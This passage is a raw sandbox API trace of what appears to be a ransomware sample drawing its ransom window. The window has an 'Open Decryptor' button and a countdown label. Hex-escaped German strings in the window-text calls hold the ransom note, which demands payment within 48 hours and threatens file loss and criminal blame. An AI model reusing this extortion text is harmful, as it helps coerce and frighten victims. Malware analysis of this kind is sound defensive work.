55\x6e\x64\x20\x6b\x6f\x6e\x74\x61\x6b\x74\x69\x65\x72\x65\x6e\x20\x53\x69\x65\x20\x75\x6e\x73\x20\x6e\x61\x63\x68\x20\x64\x65\x72\x20\x42\x65\x7a\x61\x68\x6c\x75\x6e\x67\x20\x49\x68\x72\x65\x73\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x65\x6c\x6c\x65\x6e\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x75\x6e\x67\x73\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x73\x20\x70\x65\x72\x20\x4b\x6f\x6e\x74\x61\x6b\x74\x3a\x0d\x0a\x0d\x0a\x47\x65\x73\x63\x68\x69\x65\x68\x74\x20\x64\x69\x65\x73\x20\x6e\x69\x63\x68\x74\x2c\x20\x67\x65\x68\x65\x6e\x20\x6e\x61\x63\x68\x20\x37\x32\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x61\x6c\x6c\x65\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x76\x65\x72\x6c\x6f\x72\x65\x6e\x2e\x0d\x0a\x44\x61\x72\xfc\x62\x65\x72\x20\x68\x69\x6e\x61\x75\x73\x20\x76\x65\x72\x77\x65\x6e\x64\x65\x6e\x20\x77\x69\x72\x20\x49\x68\x72\x65\x6e\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x69\x6e\x20\x69\x68\x72\x65\x6e\x20\x69\x6c\x6c\x65\x67\x61\x6c\x65\x6e\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x2e\x0d\x0a\x55\x6e\x64\x20\x77\x69\x65\x20\x76\x69\x65\x6c\x20\x49\x68\x72\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x76\x6f\x6e\x20\x49\x68\x6e\x65\x6e\x20\x67\x65\x6b\x61\x75\x66\x74\x20\x77\x69\x72\x64\x20\x75\x6e\x64\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x49\x68\x72\x65\x72\x20\x47\x65\x73\x65\x74\x7a\x67\x65\x62\x75\x6e\x67\x0d\x0a\x4c\x61\x6e\x64\x20\x69\x73\x74\x20\x49\x68\x72\x20\x45\x69\x67\x65\x6e\x74\x75\x6d\x2e\x0d\x0a\x55\x6e\x64\x20\x53\x69\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x66\xfc\x72\x20\x75\x6e\x73\x65\x72\x65\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x20\x73\x74\x72\x61\x66\x72\x65\x63\x68\x74\x6c\x69\x63\x68\x20\x76\x65\x72\x61\x6e\x74\x77\x6f\x72\x74\x6c\x69\x63\x68\x20\x73\x65\x69\x6e\x29\x29\x29\x0d\x0a\x0d\x0a\x42\x65\x65\x69\x6c\x65\x6e\x20\x53\x69\x65\x20\x73\x69\x63\x68\x20\x7a\x75\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e", dwStyle=0x56210045, X=196, Y=6, nWidth=621, nHeight=321, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x60126 [0153.745] SetWindowLongW (hWnd=0x60126, nIndex=-4, dwNewLong=1876218976) returned 88362534 [0153.745] GetWindowLongW (hWnd=0x60126, nIndex=-4) returned 1876218976 [0153.746] SetWindowLongW (hWnd=0x60126, nIndex=-4, dwNewLong=88375454) returned 1876218976 [0153.746] GetWindowLongW (hWnd=0x60126, nIndex=-4) returned 88375454 [0153.746] GetWindowLongW (hWnd=0x60126, nIndex=-16) returned 1176567877 [0153.746] GetWindowLongW (hWnd=0x60126, nIndex=-12) returned 0 [0153.746] SetWindowLongW (hWnd=0x60126, nIndex=-12, dwNewLong=393510) returned 0 [0153.746] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x81, wParam=0x0, lParam=0x19e328) returned 0x1 [0153.747] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x83, wParam=0x0, lParam=0x19e314) returned 0x0 [0153.748] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x1, wParam=0x0, lParam=0x19e328) returned 0x1 [0153.748] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x7c, wParam=0xfffffff0, lParam=0x19dd14) returned 0x0 [0153.749] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x7d, wParam=0xfffffff0, lParam=0x19dd14) returned 0x1 [0153.761] GetWindow (hWnd=0x60126, uCmd=0x3) returned 0x401dc [0153.761] GetClientRect (in: hWnd=0x60126, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.761] GetWindowRect (in: hWnd=0x60126, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.761] GetParent (hWnd=0x60126) returned 0x7004e [0153.761] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0153.761] GetWindowTextLengthW (hWnd=0x7004e) returned 0 [0153.761] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0 [0153.761] GetSystemMetrics (nIndex=42) returned 0 [0153.761] GetWindowTextW (in: hWnd=0x7004e, lpString=0x19dea4, nMaxCount=1 | out: lpString="") returned 0 [0153.761] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0xd, wParam=0x1, lParam=0x19dea4) returned 0x0 [0153.761] GetDC (hWnd=0x0) returned 0x1b010670 [0153.761] GdipCreateFromHDC (hdc=0x1b010670, graphics=0x19de84) returned 0x0 [0153.762] CoTaskMemAlloc (cb=0x5c) returned 0xeeafb8 [0153.762] GdipGetLogFontW (font=0x6911898, graphics=0x6915b28, logfontW=0xeeafb8) returned 0x0 [0153.762] CoTaskMemFree (pv=0xeeafb8) [0153.762] CoTaskMemAlloc (cb=0x5c) returned 0xeeae18 [0153.762] CoTaskMemFree (pv=0xeeae18) [0153.762] CoTaskMemAlloc (cb=0x5c) returned 0xeeb290 [0153.762] CoTaskMemFree (pv=0xeeb290) [0153.762] GdipDeleteGraphics (graphics=0x6915b28) returned 0x0 [0153.762] ReleaseDC (hWnd=0x0, hDC=0x1b010670) returned 1 [0153.762] CoTaskMemAlloc (cb=0x5c) returned 0xeeace0 [0153.762] CreateFontIndirectW (lplf=0xeeace0) returned 0xdd0a06c4 [0153.762] CoTaskMemFree (pv=0xeeace0) [0153.762] SendMessageW (hWnd=0x60126, Msg=0x30, wParam=0xdd0a06c4, lParam=0x0) returned 0x1 [0153.762] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x30, wParam=0xdd0a06c4, lParam=0x0) returned 0x1 [0153.775] SetWindowTextW (hWnd=0x60126, lpString="\x47\x75\x74\x65\x6e\x20\x74\x61\x67\x0d\x0a\x0d\x0a\x41\x6c\x6c\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x61\x75\x66\x20\x49\x68\x72\x65\x6d\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x77\x65\x72\x64\x65\x6e\x20\x76\x65\x72\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x74\x2e\x0d\x0a\x44\x61\x73\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x20\x76\x6f\x6e\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x73\x74\x20\x6e\x75\x72\x20\x6d\x69\x74\x20\x75\x6e\x73\x65\x72\x65\x72\x20\x48\x69\x6c\x66\x65\x20\x6d\xf6\x67\x6c\x69\x63\x68\x20\x21\x21\x21\x0d\x0a\x0d\x0a\x53\x69\x65\x20\x6d\xfc\x73\x73\x65\x6e\x20\x69\x6e\x6e\x65\x72\x68\x61\x6c\x62\x20\x76\x6f\x6e\x20\x34\x38\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e\x2c\x20\x75\x6d\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x6e\x20\x7a\x75\x20\x65\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x6e\x0d\x0a\x44\x61\x74\x65\x69\x65\x6e\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x64\x65\x6d\x20\x54\x61\x72\x69\x66\x20\x49\x68\x72\x65\x73\x20\x4c\x61\x6e\x64\x65\x73\x2e\x0d\x0a\x54\x61\x72\x69\x66\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x69\x6d\x20\x46\x65\x6e\x73\x74\x65\x72\x20\x76\x6f\x6e\x20\x6c\x69\x6e\x6b\x73\x20\x61\x6e\x67\x65\x7a\x65\x69\x67\x74\x20\x21\x21\x21\x0d\x0a\x55\x6e\x64\x20\x6b\x6f\x6e\x74\x61\x6b\x74\x69\x65\x72\x65\x6e\x20\x53\x69\x65\x20\x75\x6e\x73\x20\x6e\x61\x63\x68\x20\x64\x65\x72\x20\x42\x65\x7a\x61\x68\x6c\x75\x6e\x67\x20\x49\x68\x72\x65\x73\x20\x69\x6e\x64\x69\x76\x69\x64\x75\x65\x6c\x6c\x65\x6e\x20\x45\x6e\x74\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x75\x6e\x67\x73\x73\x63\x68\x6c\xfc\x73\x73\x65\x6c\x73\x20\x70\x65\x72\x20\x4b\x6f\x6e\x74\x61\x6b\x74\x3a\x0d\x0a\x0d\x0a\x47\x65\x73\x63\x68\x69\x65\x68\x74\x20\x64\x69\x65\x73\x20\x6e\x69\x63\x68\x74\x2c\x20\x67\x65\x68\x65\x6e\x20\x6e\x61\x63\x68\x20\x37\x32\x20\x53\x74\x75\x6e\x64\x65\x6e\x20\x61\x6c\x6c\x65\x20\x49\x68\x72\x65\x20\x44\x61\x74\x65\x69\x65\x6e\x20\x76\x65\x72\x6c\x6f\x72\x65\x6e\x2e\x0d\x0a\x44\x61\x72\xfc\x62\x65\x72\x20\x68\x69\x6e\x61\x75\x73\x20\x76\x65\x72\x77\x65\x6e\x64\x65\x6e\x20\x77\x69\x72\x20\x49\x68\x72\x65\x6e\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x69\x6e\x20\x69\x68\x72\x65\x6e\x20\x69\x6c\x6c\x65\x67\x61\x6c\x65\x6e\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x2e\x0d\x0a\x55\x6e\x64\x20\x77\x69\x65\x20\x76\x69\x65\x6c\x20\x49\x68\x72\x20\x43\x6f\x6d\x70\x75\x74\x65\x72\x20\x76\x6f\x6e\x20\x49\x68\x6e\x65\x6e\x20\x67\x65\x6b\x61\x75\x66\x74\x20\x77\x69\x72\x64\x20\x75\x6e\x64\x20\x69\x6e\x20\xdc\x62\x65\x72\x65\x69\x6e\x73\x74\x69\x6d\x6d\x75\x6e\x67\x20\x6d\x69\x74\x20\x49\x68\x72\x65\x72\x20\x47\x65\x73\x65\x74\x7a\x67\x65\x62\x75\x6e\x67\x0d\x0a\x4c\x61\x6e\x64\x20\x69\x73\x74\x20\x49\x68\x72\x20\x45\x69\x67\x65\x6e\x74\x75\x6d\x2e\x0d\x0a\x55\x6e\x64\x20\x53\x69\x65\x20\x77\x65\x72\x64\x65\x6e\x20\x66\xfc\x72\x20\x75\x6e\x73\x65\x72\x65\x20\x48\x61\x6e\x64\x6c\x75\x6e\x67\x65\x6e\x20\x73\x74\x72\x61\x66\x72\x65\x63\x68\x74\x6c\x69\x63\x68\x20\x76\x65\x72\x61\x6e\x74\x77\x6f\x72\x74\x6c\x69\x63\x68\x20\x73\x65\x69\x6e\x29\x29\x29\x0d\x0a\x0d\x0a\x42\x65\x65\x69\x6c\x65\x6e\x20\x53\x69\x65\x20\x73\x69\x63\x68\x20\x7a\x75\x20\x62\x65\x7a\x61\x68\x6c\x65\x6e") returned 1 [0153.775] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0xc, wParam=0x0, lParam=0x2fb1674) returned 0x1 [0153.776] GetSystemMetrics (nIndex=5) returned 1 [0153.777] GetSystemMetrics (nIndex=6) returned 1 [0153.777] SendMessageW (hWnd=0x60126, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.777] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0xc5, wParam=0x7fff, lParam=0x0) returned 0x1 [0153.777] SendMessageW (hWnd=0x60126, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.777] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0xd2, wParam=0x0, lParam=0x0) returned 0x0 [0153.820] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x5, wParam=0x0, lParam=0x13d0258) returned 0x1 [0153.821] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x3, wParam=0x0, lParam=0x800c6) returned 0x0 [0153.821] GetClientRect (in: hWnd=0x60126, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.821] GetWindowRect (in: hWnd=0x60126, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.821] GetParent (hWnd=0x60126) returned 0x7004e [0153.821] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0153.822] SendMessageW (hWnd=0x60126, Msg=0x2210, wParam=0x1260001, lParam=0x60126) returned 0x0 [0153.822] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x2210, wParam=0x1260001, lParam=0x60126) returned 0x0 [0153.822] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.822] GetParent (hWnd=0x60126) returned 0x7004e [0153.822] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0153.822] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.823] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x2fd325c | out: lpWndClass=0x2fd325c) returned 1 [0153.823] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.823] CoTaskMemAlloc (cb=0x58) returned 0xee7da0 [0153.824] RegisterClassW (lpWndClass=0x19e7dc) returned 0xc176 [0153.824] CoTaskMemFree (pv=0xee7da0) [0153.824] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.824] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r11_ad1", lpWindowName="Open Decryptor", dwStyle=0x5601000b, X=9, Y=304, nWidth=178, nHeight=111, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x20212 [0153.824] SetWindowLongW (hWnd=0x20212, nIndex=-4, dwNewLong=1876224000) returned 88375534 [0153.825] GetWindowLongW (hWnd=0x20212, nIndex=-4) returned 1876224000 [0153.825] SetWindowLongW (hWnd=0x20212, nIndex=-4, dwNewLong=88375334) returned 1876224000 [0153.825] GetWindowLongW (hWnd=0x20212, nIndex=-4) returned 88375334 [0153.825] GetWindowLongW (hWnd=0x20212, nIndex=-16) returned 1174470667 [0153.825] GetWindowLongW (hWnd=0x20212, nIndex=-12) returned 0 [0153.825] SetWindowLongW (hWnd=0x20212, nIndex=-12, dwNewLong=131602) returned 0 [0153.825] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0153.826] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0153.826] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0153.827] SendMessageW (hWnd=0x20212, Msg=0x2055, wParam=0x20212, lParam=0x3) returned 0x2 [0153.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x40078, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x7004e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x40210, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] RedrawWindow (hWnd=0x40210, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.827] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x800b0, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.827] RedrawWindow (hWnd=0x800b0, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.827] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x501fe, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.828] RedrawWindow (hWnd=0x501fe, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.828] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x70044, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.828] RedrawWindow (hWnd=0x70044, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.828] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x80016, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.828] RedrawWindow (hWnd=0x80016, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.828] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x2020e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.828] RedrawWindow (hWnd=0x2020e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.828] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x401dc, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.828] RedrawWindow (hWnd=0x401dc, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.829] CallWindowProcW (lpPrevWndFunc=0x6fd4d460, hWnd=0x60126, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.829] RedrawWindow (hWnd=0x60126, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.829] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0 [0153.829] RedrawWindow (hWnd=0x20212, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.829] RedrawWindow (hWnd=0x7004e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.829] RedrawWindow (hWnd=0x40078, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1 [0153.829] GetWindow (hWnd=0x20212, uCmd=0x3) returned 0x60126 [0153.829] GetClientRect (in: hWnd=0x20212, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.829] GetWindowRect (in: hWnd=0x20212, lpRect=0x19dfe8 | out: lpRect=0x19dfe8) returned 1 [0153.829] GetParent (hWnd=0x20212) returned 0x7004e [0153.829] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19dfe8, cPoints=0x2 | out: lpPoints=0x19dfe8) returned -16187697 [0153.830] SetWindowTextW (hWnd=0x20212, lpString="Open Decryptor") returned 1 [0153.830] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0xc, wParam=0x0, lParam=0x2fb1f3c) returned 0x1 [0153.830] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x5, wParam=0x0, lParam=0x6f00b2) returned 0x0 [0153.830] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x3, wParam=0x0, lParam=0x1300009) returned 0x0 [0153.830] GetClientRect (in: hWnd=0x20212, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.830] GetWindowRect (in: hWnd=0x20212, lpRect=0x19e040 | out: lpRect=0x19e040) returned 1 [0153.830] GetParent (hWnd=0x20212) returned 0x7004e [0153.830] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e040, cPoints=0x2 | out: lpPoints=0x19e040) returned -16187697 [0153.830] SendMessageW (hWnd=0x20212, Msg=0x2210, wParam=0x2120001, lParam=0x20212) returned 0x0 [0153.830] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x2210, wParam=0x2120001, lParam=0x20212) returned 0x0 [0153.831] CallWindowProcW (lpPrevWndFunc=0x6fd4e800, hWnd=0x20212, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.831] GetParent (hWnd=0x20212) returned 0x7004e [0153.831] GetCurrentActCtx (in: lphActCtx=0x19e928 | out: lphActCtx=0x19e928*=0xef1264) returned 1 [0153.831] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.832] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.832] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r11_ad1", lpWindowName=0x0, dwStyle=0x56800000, X=9, Y=149, nWidth=178, nHeight=127, hWndParent=0x7004e, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x9020a [0153.832] SetWindowLongW (hWnd=0x9020a, nIndex=-4, dwNewLong=1952448832) returned 88361574 [0153.832] GetWindowLongW (hWnd=0x9020a, nIndex=-4) returned 1952448832 [0153.833] SetWindowLongW (hWnd=0x9020a, nIndex=-4, dwNewLong=88375214) returned 1952448832 [0153.833] GetWindowLongW (hWnd=0x9020a, nIndex=-4) returned 88375214 [0153.833] GetWindowLongW (hWnd=0x9020a, nIndex=-16) returned 1182793728 [0153.833] GetWindowLongW (hWnd=0x9020a, nIndex=-12) returned 0 [0153.833] SetWindowLongW (hWnd=0x9020a, nIndex=-12, dwNewLong=590346) returned 0 [0153.833] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x81, wParam=0x0, lParam=0x19e348) returned 0x1 [0153.833] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x83, wParam=0x0, lParam=0x19e334) returned 0x0 [0153.833] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x1, wParam=0x0, lParam=0x19e348) returned 0x0 [0153.833] GetWindow (hWnd=0x9020a, uCmd=0x3) returned 0x20212 [0153.834] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.834] GetWindowRect (in: hWnd=0x9020a, lpRect=0x19e024 | out: lpRect=0x19e024) returned 1 [0153.834] GetParent (hWnd=0x9020a) returned 0x7004e [0153.834] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e024, cPoints=0x2 | out: lpPoints=0x19e024) returned -16187697 [0153.834] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x5, wParam=0x0, lParam=0x7d00b0) returned 0x0 [0153.834] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x3, wParam=0x0, lParam=0x96000a) returned 0x0 [0153.834] GetClientRect (in: hWnd=0x9020a, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.834] GetWindowRect (in: hWnd=0x9020a, lpRect=0x19e07c | out: lpRect=0x19e07c) returned 1 [0153.834] GetParent (hWnd=0x9020a) returned 0x7004e [0153.834] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x7004e, lpPoints=0x19e07c, cPoints=0x2 | out: lpPoints=0x19e07c) returned -16187697 [0153.834] SendMessageW (hWnd=0x9020a, Msg=0x2210, wParam=0x20a0001, lParam=0x9020a) returned 0x0 [0153.834] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x2210, wParam=0x20a0001, lParam=0x9020a) returned 0x0 [0153.835] CallWindowProcW (lpPrevWndFunc=0x74600140, hWnd=0x9020a, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.835] GetParent (hWnd=0x9020a) returned 0x7004e [0153.835] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.835] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.836] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.836] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.STATIC.app.0.141b42a_r11_ad1", lpWindowName="Next 24 hours", dwStyle=0x5600000d, X=6, Y=48, nWidth=171, nHeight=29, hWndParent=0x9020a, hMenu=0x0, hInstance=0x400000, lpParam=0x0) returned 0x7020c [0153.836] SetWindowLongW (hWnd=0x7020c, nIndex=-4, dwNewLong=1876339648) returned 88362614 [0153.836] GetWindowLongW (hWnd=0x7020c, nIndex=-4) returned 1876339648 [0153.836] SetWindowLongW (hWnd=0x7020c, nIndex=-4, dwNewLong=88375014) returned 1876339648 [0153.836] GetWindowLongW (hWnd=0x7020c, nIndex=-4) returned 88375014 [0153.836] GetWindowLongW (hWnd=0x7020c, nIndex=-16) returned 1174405133 [0153.836] GetWindowLongW (hWnd=0x7020c, nIndex=-12) returned 0 [0153.836] SetWindowLongW (hWnd=0x7020c, nIndex=-12, dwNewLong=459276) returned 0 [0153.837] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x81, wParam=0x0, lParam=0x19e310) returned 0x1 [0153.837] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x83, wParam=0x0, lParam=0x19e2fc) returned 0x0 [0153.837] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x1, wParam=0x0, lParam=0x19e310) returned 0x0 [0153.838] GetWindow (hWnd=0x7020c, uCmd=0x3) returned 0x0 [0153.838] GetClientRect (in: hWnd=0x7020c, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.838] GetWindowRect (in: hWnd=0x7020c, lpRect=0x19dfbc | out: lpRect=0x19dfbc) returned 1 [0153.838] GetParent (hWnd=0x7020c) returned 0x9020a [0153.838] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19dfbc, cPoints=0x2 | out: lpPoints=0x19dfbc) returned -26018107 [0153.838] SetWindowTextW (hWnd=0x7020c, lpString="Next 24 hours") returned 1 [0153.838] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0xc, wParam=0x0, lParam=0x2fb2c30) returned 0x1 [0153.839] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x5, wParam=0x0, lParam=0x1d00ab) returned 0x0 [0153.839] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x3, wParam=0x0, lParam=0x300006) returned 0x0 [0153.839] GetClientRect (in: hWnd=0x7020c, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.839] GetWindowRect (in: hWnd=0x7020c, lpRect=0x19e014 | out: lpRect=0x19e014) returned 1 [0153.839] GetParent (hWnd=0x7020c) returned 0x9020a [0153.839] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x9020a, lpPoints=0x19e014, cPoints=0x2 | out: lpPoints=0x19e014) returned -26018107 [0153.839] SendMessageW (hWnd=0x7020c, Msg=0x2210, wParam=0x20c0001, lParam=0x7020c) returned 0x0 [0153.839] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x2210, wParam=0x20c0001, lParam=0x7020c) returned 0x0 [0153.839] CallWindowProcW (lpPrevWndFunc=0x6fd6abc0, hWnd=0x7020c, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0 [0153.839] GetParent (hWnd=0x7020c) returned 0x9020a [0153.839] GetCurrentActCtx (in: lphActCtx=0x19e8ec | out: lphActCtx=0x19e8ec*=0xef1264) returned 1 [0153.840] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x6fcf0000 [0153.840] GetModuleHandleW (lpModuleName=0x0) returned 0x400000 [0153.840] CreateWindowExW (dwExStyle=0x0, 